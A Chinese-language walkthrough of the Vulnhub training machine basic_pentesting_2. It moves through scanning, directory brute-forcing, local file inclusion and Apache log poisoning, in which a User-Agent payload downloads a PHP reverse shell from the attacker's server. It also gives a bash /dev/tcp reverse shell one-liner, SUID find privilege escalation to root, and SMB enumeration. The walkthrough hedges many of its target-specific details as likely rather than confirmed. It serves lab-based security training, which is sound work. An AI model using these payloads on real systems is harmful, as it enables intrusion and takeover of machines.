从basic_pentesting_2靶机实战入门渗透测试:信息收集到权限提升全流程解析
1. 项目概述:从basic_pentesting_2看渗透测试实战入门
如果你刚开始接触渗透测试,面对五花八门的工具和概念感到无从下手,那么Vulnhub上的“basic_pentesting”系列靶机绝对是为你量身定做的。今天要拆解的,就是其中的第二台:basic_pentesting_2。这个靶机不像那些复杂的、需要各种0day和高级技巧的挑战,它更像是一位耐心的教练,把渗透测试中最基础、最核心的流程——信息收集、漏洞发现、漏洞利用、权限提升——掰开了、揉碎了,放在一个可控的环境里让你亲手操作一遍。
简单来说,basic_pentesting_2是一个基于Web应用漏洞的入门级渗透测试靶机。它的核心价值在于,通过一个相对简单的场景,让你完整地体验一次从外部侦察到最终获取系统最高权限(root)的标准流程。你会遇到诸如目录遍历、敏感信息泄露、弱密码、命令注入以及利用已知漏洞进行权限提升等经典问题。解决它,你不需要成为黑客大神,但需要你具备扎实的Kali Linux工具使用基础、对常见Web漏洞原理的理解,以及最重要的——耐心和逻辑思维。无论是安全专业的学生、希望转行安全领域的运维人员,还是对网络安全充满好奇的开发者,通过攻克这个靶机,你都能建立起对渗透测试工作流的直观认知,为后续挑战更复杂的靶场(如DC系列、HackTheBox)打下坚实的基础。
2. 靶机环境搭建与初始信息收集
动手之前,环境是第一步。Vulnhub靶机通常以OVA或VMDK虚拟机镜像格式提供。下载basic_pentesting_2的镜像后,我建议使用VMware Workstation或VirtualBox来导入。这里有个关键点:为了模拟真实的网络环境,请务必将虚拟机的网络连接模式设置为“NAT模式”或“桥接模式”。我个人的习惯是使用“NAT模式”,这样靶机和你的攻击机(Kali Linux)会处于同一个虚拟子网内,既能互相通信,又不会干扰你的物理网络。
启动靶机后,它通常不会显示IP地址。我们的第一个任务就是找到它。打开你的Kali Linux,第一件事不是盲目扫描,而是先确认自己的IP,以便确定扫描范围。在终端输入ip a或ifconfig,记下eth0或tun0(如果你用了某些VPN,但这里我们不需要)的IP地址,假设是192.168.1.105。
接下来,就是渗透测试的“开胃菜”——主机发现。我们使用netdiscover进行主动ARP扫描,这是局域网内发现主机最快最准确的方法。
sudo netdiscover -r 192.168.1.0/24-r参数指定了扫描范围。扫描结果中,除了你熟悉的IP(如你的路由器、自己的Kali),那个陌生的、大概率是Linux系统MAC地址(如VMware的00:0c:29:xx:xx:xx)对应的IP,就是我们的目标靶机。假设我们发现了192.168.1.110。
注意:有些网络环境下
netdiscover可能效果不佳,备选方案是使用nmap进行ping扫描:nmap -sn 192.168.1.0/24。-sn参数表示只进行主机发现,不扫描端口。
确认目标IP后,我们进入更细致的端口扫描与服务识别阶段。这是信息收集的核心,目的是弄清楚目标开放了哪些“门”(端口),以及这些“门”后运行着什么服务(软件及版本)。
nmap -sV -sC -O -p- 192.168.1.110这个命令组合了多个实用选项:
-sV: 探测服务版本。知道服务及其具体版本号,是后续搜索漏洞的关键。-sC: 使用默认的Nmap脚本进行扫描。这些脚本能进行一些基本的漏洞检测和信息搜集。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。对于基础靶机,有时用-p-能发现隐藏的、非常规端口上的服务。
扫描完成后,你会得到一份详细的报告。对于basic_pentesting_2,典型的扫描结果会显示开放了以下几个关键端口:
- 22/tcp - OpenSSH: SSH服务,用于远程管理。版本信息可能提示我们是否存在已知漏洞或配置问题(如允许root登录、弱密码)。
- 80/tcp - Apache httpd: Web服务器。这就是我们的主攻方向,绝大多数漏洞都藏在这里。
- 139/tcp, 445/tcp - Samba smbd: SMB文件共享服务。这常常是信息泄露和权限提升的突破口,比如枚举共享目录、利用Samba版本漏洞。
拿到这份“地图”后,我们的攻击思路就开始清晰了:Web端口是正面入口,SMB端口可能藏着侧门或情报,SSH可能是最终拿到shell后的持久化通道或是暴力破解的目标。
3. Web应用漏洞挖掘与利用实战
根据Nmap扫描结果,我们首先访问靶机的Web服务http://192.168.1.110。打开浏览器,你可能会看到一个默认的Apache页面,或者一个极其简单的网站。在渗透测试中,看似简单的页面往往隐藏着最多的秘密。我们的任务就是把它翻个底朝天。
3.1 目录枚举与敏感文件发现
面对一个Web应用,手动点击是低效的。我们使用工具进行目录爆破,寻找隐藏的路径、后台登录页面、配置文件等。gobuster和dirb是常用工具。这里使用gobuster:
gobuster dir -u http://192.168.1.110 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bakdir: 指定模式为目录扫描。-u: 指定目标URL。-w: 指定字典文件。common.txt是一个通用的目录字典。-x: 指定要尝试的文件扩展名。php、txt、bak(备份文件)都是高价值目标。
扫描结果可能会发现诸如/admin、/backup、/index.php、/robots.txt等路径。其中,robots.txt文件需要第一时间查看,它有时会暴露管理员不想被爬取的目录。而像config.php.bak、backup.zip这类文件,很可能含有数据库密码、API密钥等敏感信息。
在basic_pentesting_2中,目录枚举很可能会发现一个关键的目录,比如/simple/。访问它,可能是一个基于某个CMS(如“Simple CMS”)搭建的网站。这就是我们的主战场。
3.2 漏洞扫描与手动验证
发现具体应用后,我们可以使用漏洞扫描器如nikto进行初步筛查:
nikto -h http://192.168.1.110/simple/Nikto会快速检查服务器配置错误、默认文件、过时的软件版本等。它可能会提示“OSVDB-877: HTTP TRACE method is active”,这表示启用了TRACE方法,可能用于XSS攻击,但通常不是直接利用点。它更重要的作用是给我们一个检查清单。
然而,自动化工具不能替代手动测试。我们需要像用户一样浏览这个“Simple CMS”网站。查看页面源码、测试每一个输入点(搜索框、登录框、URL参数)。在basic_pentesting_2的典型场景中,你可能会在文章浏览页面发现URL参数类似于http://192.168.1.110/simple/article.php?id=1。
这里就存在一个经典的漏洞:SQL注入或文件包含。尝试修改id参数:
id=1':添加一个单引号,查看页面是否报错。如果报数据库错误,说明存在SQL注入可能。id=1 and 1=1和id=1 and 1=2:观察页面返回内容是否不同。如果不同,则进一步确认存在SQL注入。- 使用
sqlmap进行自动化注入测试(在获得授权或靶场环境中):sqlmap -u "http://192.168.1.110/simple/article.php?id=1" --batch --dbs--batch表示以非交互模式运行,自动选择默认选项。--dbs尝试枚举数据库。
但在这个靶机中,更常见的突破口可能是文件包含漏洞。尝试id=../../../../etc/passwd。如果页面返回了系统的/etc/passwd文件内容,那么恭喜你,发现了**本地文件包含(LFI)**漏洞。/etc/passwd文件包含了系统所有用户的信息,虽然密码字段现在是‘x’(存储在/etc/shadow),但我们可以从中知道系统上有哪些用户,为后续的SSH暴力破解或SMB枚举提供了用户名清单。
3.3 利用文件包含获取WebShell
发现LFI漏洞后,我们的目标不再是读取几个文件,而是获取一个反向Shell,即在靶机上执行命令,并让靶机主动连接到我们攻击机的某个监听端口。
在Linux+Apache+PHP环境下,一个经典的技巧是利用PHP日志文件注入。我们知道Apache的访问日志默认路径是/var/log/apache2/access.log。这个日志文件记录了每一个HTTP请求,包括请求头。如果我们能在User-Agent或Referer等HTTP头中插入PHP代码,然后通过LFI漏洞去包含这个日志文件,服务器就会执行我们插入的代码。
步骤如下:
准备PHP反向Shell代码。Kali中自带了很多WebShell,比如
/usr/share/webshells/php/php-reverse-shell.php。复制一份到当前目录,并修改里面的IP和端口为你Kali的IP和监听端口。cp /usr/share/webshells/php/php-reverse-shell.php . nano php-reverse-shell.php找到
$ip = '127.0.0.1';和$port = 1234;修改为你的Kali IP(如192.168.1.105)和一个未被占用的端口(如4444)。在攻击机开启HTTP服务,让靶机能够下载这个Shell文件。
python3 -m http.server 8080利用漏洞将Shell代码写入日志。我们需要让靶机访问一个不存在的页面,并在User-Agent中携带一句简短的PHP代码,这句代码的功能是从我们的HTTP服务器下载完整的Shell文件并保存。 使用
curl命令:curl -A "<?php system('wget http://192.168.1.105:8080/php-reverse-shell.php -O /tmp/shell.php');?>" http://192.168.1.110/simple/nonexistentpage这个请求会因访问不存在的页面而产生404错误,但User-Agent中的PHP代码会被记录到
access.log中。通过LFI包含日志文件,触发代码执行。在浏览器或再用
curl访问:http://192.168.1.110/simple/article.php?id=../../../../var/log/apache2/access.log如果配置正确,这次访问会触发日志文件中我们写入的PHP代码,靶机就会执行
wget命令,将完整的反向Shell脚本下载到/tmp/shell.php。在攻击机开启Netcat监听。
nc -nvlp 4444访问我们下载的Shell脚本,触发反向连接。
http://192.168.1.110/tmp/shell.php访问这个链接,如果一切顺利,你会在之前的Netcat终端看到一个Shell连接提示,你已经获得了靶机上一个Web服务权限(通常是
www-data用户)的Shell。
实操心得:日志文件路径可能因系统而异(如
/var/log/httpd/access_log)。如果包含不成功,可以尝试读取/proc/self/environ或利用PHP的php://input等包装器。另外,确保你的PHP Shell代码没有语法错误,并且靶机的PHP配置允许执行system()等危险函数。
4. 权限提升:从www-data到root
拿到www-data的Shell只是万里长征第一步。这个用户权限很低,无法读取/root目录下的flag(最终目标),也无法进行很多系统操作。下一步就是权限提升(Privilege Escalation),俗称“提权”。
4.1 系统信息收集
首先,我们需要了解我们身处一个怎样的系统。在获得的Shell中,执行一系列信息收集命令:
# 查看当前用户和权限 id whoami # 查看系统内核和发行版信息 uname -a cat /etc/os-release # 查看安装了哪些软件,特别是以root权限运行的服务 ps aux | grep root netstat -tulpn # 查看是否有任何用户可以以sudo方式执行命令 sudo -l # 如果提示需要密码,尝试空密码或弱密码 # 查找具有SUID权限的可执行文件(重点!) find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null这个命令极其重要。它查找所有设置了SUID位的文件。SUID意味着当任何用户执行这个文件时,它将以文件所有者的权限运行。如果找到一个属于root且SUID设置了的文件,并且这个文件本身存在漏洞(或者可以被我们利用),我们就有可能借它获得root权限。
4.2 利用SUID二进制文件提权
在basic_pentesting_2的典型设置中,执行上面的SUID查找命令后,你可能会在结果中发现一个不同寻常的二进制文件,比如/usr/bin/find。find命令本身是系统常用工具,但通常不应该被设置SUID位。一旦它被设置了SUID且属于root,它就成了我们提权的“金钥匙”。
GNUfind命令有一个-exec参数,可以执行任意命令。因为find现在以root权限运行,那么它通过-exec执行的命令也将以root权限运行。提权过程非常简单:
# 在靶机的Shell中执行 /usr/bin/find . -exec /bin/bash -p \;或者
/usr/bin/find . -exec /bin/sh -p \;.表示在当前目录开始查找。-exec后面跟上要执行的命令。/bin/bash -p中的-p参数在bash中用于保留提权后的有效用户ID,确保我们获得的shell是root权限的。\;是-exec参数的结束符。
执行上述命令后,你会获得一个新的shell。再次执行id或whoami,如果显示uid=0(root),那么恭喜你,提权成功!
4.3 其他提权路径探索
除了SUID,还有其他常见的提权向量:
- 内核漏洞:如果系统内核版本较旧,可能存在公开的本地提权漏洞。使用
uname -a查看内核版本,然后去searchsploit或互联网搜索对应版本的exploit。# 在Kali上搜索 searchsploit linux kernel 3.13 - Cron Jobs:检查定时任务(
crontab -l查看当前用户的,cat /etc/crontab查看系统的)。如果有某个定时任务以root权限运行,并且其执行的脚本或路径我们可写,我们就可以通过修改它来获得root权限。 - Sudo权限:如果
sudo -l显示当前用户可以以root身份无需密码运行某个特定命令(如vi,nano,python,perl等),我们可以利用这些命令启动一个root shell。例如,如果可以无密码运行sudo vi,那么在vi中执行:!bash即可获得root shell。
在basic_pentesting_2中,SUIDfind是最直接、最经典的提权方式。成功提权后,你就可以畅游系统,最终在/root目录下找到那个标志性的flag.txt或proof.txt文件,用cat /root/flag.txt查看内容,完成整个渗透测试流程。
5. 辅助攻击面:SMB服务枚举与利用
回顾我们最初的端口扫描,靶机还开放了139和445端口(Samba)。即使在Web端已经取得突破,彻底的安全测试也要求我们检查每一个攻击面。SMB服务常常能提供额外的用户凭证或敏感信息。
我们可以使用enum4linux这个强大的工具来枚举Samba共享和用户信息:
enum4linux -a 192.168.1.110-a参数表示进行所有简单枚举。这个命令会尝试:
- 获取操作系统信息。
- 枚举共享目录列表。
- 枚举用户列表。
- 尝试使用空会话连接。
运行结果可能会显示可用的共享,比如IPC$、print$,甚至可能有一个名为anonymous或public的可读共享。如果发现可读共享,我们可以用smbclient连接并浏览:
smbclient //192.168.1.110/public -N-N表示匿名登录,不提供密码。连接成功后,可以使用ls查看文件,get filename下载文件。
在basic_pentesting_2的场景中,SMB枚举可能不是获取初始立足点的必要条件,但它极有可能提供关键信息。例如,你可能会在某个共享目录下找到一个包含用户名和密码哈希(甚至明文密码)的文本文件、配置文件或备份文件。这些凭证可以用于:
- SSH登录:尝试用得到的用户名和密码(或破解后的密码)通过SSH(端口22)登录。
- SMB认证:尝试用凭证访问更高权限的共享。
- 密码复用:用户可能在多个服务(如Web后台)使用相同密码。
即使Web漏洞利用一路畅通,系统地检查SMB服务也是一个好习惯,它能让你更全面地理解靶机的安全状况,并练习在多重攻击路径中交叉验证信息。
6. 渗透测试流程总结与常见问题排查
攻克basic_pentesting_2后,我们来梳理一下一个标准的、基础的渗透测试流程,并记录下这个过程中容易踩的“坑”。
6.1 标准流程复盘
- 信息收集:使用
netdiscover/nmap发现目标,用nmap -sV -sC进行端口扫描和服务识别。这是所有后续行动的基础。 - 漏洞分析:针对开放的服务(尤其是HTTP/80)进行深入探查。使用
gobuster/dirb进行目录爆破,手动测试每个功能点(特别是输入点),使用nikto进行自动化漏洞扫描。 - 漏洞利用:发现具体漏洞(如LFI)后,研究利用方法。通过文件包含漏洞,结合日志污染或PHP包装器,上传或写入WebShell代码。
- 获取初始访问:设置监听,触发WebShell,获得一个反向连接,拿到
www-data权限的Shell。 - 权限提升:在目标系统内部进行信息收集(
id,uname -a,find / -perm -u=s)。发现配置不当的SUID文件(如find),利用其执行root权限的命令,完成提权。 - 后渗透与报告:获取最终flag,清理痕迹(在靶场练习中可省略),并整理攻击路径、所用漏洞、风险等级和建议修复方案。
6.2 常见问题与解决技巧
在复现过程中,你可能会遇到以下问题,这里提供我的排查思路:
Q1: 扫描不到靶机IP。
- 检查网络模式:确保靶机和Kali虚拟机处于同一网络模式(同为NAT或桥接)。
- 检查防火墙:临时关闭Kali和宿主机的防火墙。
- 使用ARP扫描:
netdiscover比ICMP ping扫描更可靠。 - 查看DHCP列表:在虚拟机软件或路由器的DHCP客户端列表中寻找陌生的主机名或MAC地址。
Q2: 目录爆破什么也找不到。
- 更换字典:
common.txt可能不够用,尝试更大的字典,如directory-list-2.3-medium.txt。 - 调整线程:
gobuster使用-t 50增加线程数(但别太高,避免被屏蔽)。 - 检查状态码:默认过滤200,204,301,302,307,401,403。有些目录可能返回其他代码,可以用
-s指定。
Q3: 文件包含漏洞利用不成功,访问日志文件没反应。
- 确认日志路径:尝试
/var/log/httpd/access_log、/var/log/apache2/access.log、/var/log/apache/access.log等常见路径。也可以尝试读取/etc/apache2/apache2.conf或/etc/httpd/conf/httpd.conf来查找CustomLog指令定义的路径。 - 检查权限:Web用户(www-data)必须有权限读取日志文件。
- 代码是否执行:在User-Agent中插入最简单的
<?php phpinfo();?>测试PHP代码是否会被执行和记录。 - 利用其他方法:尝试包含
/proc/self/environ(环境变量)或使用php://input流。
Q4: 反向Shell连接不上。
- 检查IP和端口:反复确认Shell脚本中的IP和端口与Netcat监听的IP端口完全一致。
- 检查防火墙:靶机或网络是否有出站限制?尝试在靶机上用
nc -zv 攻击机IP 4444测试连通性。 - 尝试其他Shell类型:PHP反向Shell可能被禁用某些函数。尝试使用Python、Perl、Netcat甚至Bash的反向Shell命令。
# Bash反向Shell示例(在漏洞点执行) bash -c 'bash -i >& /dev/tcp/192.168.1.105/4444 0>&1' - 使用编码或备用端口:尝试使用Base64编码命令,或更换为53、443等常见放行端口。
Q5: SUID提权失败。
- 确认SUID位:用
ls -la /usr/bin/find仔细查看,权限位应该是-rwsr-xr-x,其中的s就是SUID位。 - 命令语法:确保
-exec参数后的命令和结束符\;书写正确。 - 尝试其他SUID程序:如果
find不行,检查列表中的其他程序,如vim、nano、more、less、nmap(旧版本)、cp等,搜索它们的SUID提权方法。 - 使用自动化脚本:在靶机上传并运行
LinEnum.sh或linpeas.sh等Linux本地提权枚举脚本,它们能系统性地检查各种提权可能。
整个basic_pentesting_2的渗透过程,就像一次精心设计的教学演练。它没有刻意设置复杂的障碍,而是把每个环节都清晰地展现出来。关键在于理解每个步骤背后的原理:为什么扫描这些端口?为什么目录爆破用这些字典?为什么LFI能导致RCE?为什么SUID位的find能提权?想通了这些“为什么”,你收获的就不是几个命令,而是一套应对未知系统的方法论和思维模式。这才是这个靶机,乃至整个渗透测试学习过程中,最宝贵的部分。
